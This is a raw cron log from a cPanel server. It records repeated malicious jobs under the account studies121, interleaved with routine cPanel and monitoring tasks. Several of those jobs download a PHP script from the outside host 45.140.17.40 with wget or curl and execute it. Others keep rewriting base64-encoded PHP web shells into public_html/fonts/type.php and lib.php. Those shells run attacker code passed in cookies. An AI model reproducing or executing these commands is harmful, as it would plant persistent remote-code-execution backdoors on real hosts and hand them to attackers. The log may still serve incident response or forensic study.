Sep  3 00:20:01 ip-184-168-122-23 CROND[2350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:20:01 ip-184-168-122-23 CROND[2352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:21:01 ip-184-168-122-23 CROND[2446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:21:01 ip-184-168-122-23 CROND[2448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:21:01 ip-184-168-122-23 CROND[2451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:21:01 ip-184-168-122-23 CROND[2452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:22:01 ip-184-168-122-23 CROND[2532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:22:01 ip-184-168-122-23 CROND[2533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:22:01 ip-184-168-122-23 CROND[2536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:22:01 ip-184-168-122-23 CROND[2538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:22:01 ip-184-168-122-23 CROND[2537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:23:01 ip-184-168-122-23 CROND[2706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:23:01 ip-184-168-122-23 CROND[2705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:23:01 ip-184-168-122-23 CROND[2709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:23:01 ip-184-168-122-23 CROND[2710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:24:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:24:01 ip-184-168-122-23 CROND[2789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:24:01 ip-184-168-122-23 CROND[2787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:24:01 ip-184-168-122-23 CROND[2788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:24:01 ip-184-168-122-23 CROND[2786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2889]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:25:01 ip-184-168-122-23 CROND[2893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:26:01 ip-184-168-122-23 CROND[2989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:26:01 ip-184-168-122-23 CROND[2991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:26:01 ip-184-168-122-23 CROND[2994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:26:01 ip-184-168-122-23 CROND[2996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:26:01 ip-184-168-122-23 CROND[2995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:27:01 ip-184-168-122-23 CROND[3087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:27:01 ip-184-168-122-23 CROND[3088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:27:01 ip-184-168-122-23 CROND[3089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:27:01 ip-184-168-122-23 CROND[3086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:28:01 ip-184-168-122-23 CROND[3242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:28:01 ip-184-168-122-23 CROND[3244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:28:01 ip-184-168-122-23 CROND[3245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:28:01 ip-184-168-122-23 CROND[3246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:28:01 ip-184-168-122-23 CROND[3248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:29:01 ip-184-168-122-23 CROND[3344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:29:01 ip-184-168-122-23 CROND[3346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:29:01 ip-184-168-122-23 CROND[3348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:29:01 ip-184-168-122-23 CROND[3347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:30:01 ip-184-168-122-23 CROND[3445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:30:01 ip-184-168-122-23 CROND[3454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:30:01 ip-184-168-122-23 CROND[3458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3461]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 00:30:01 ip-184-168-122-23 CROND[3459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:31:01 ip-184-168-122-23 CROND[3572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:31:01 ip-184-168-122-23 CROND[3575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:31:01 ip-184-168-122-23 CROND[3573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:31:01 ip-184-168-122-23 CROND[3577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:31:01 ip-184-168-122-23 CROND[3574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:32:01 ip-184-168-122-23 CROND[3669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:32:01 ip-184-168-122-23 CROND[3670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:32:01 ip-184-168-122-23 CROND[3673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:32:01 ip-184-168-122-23 CROND[3672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
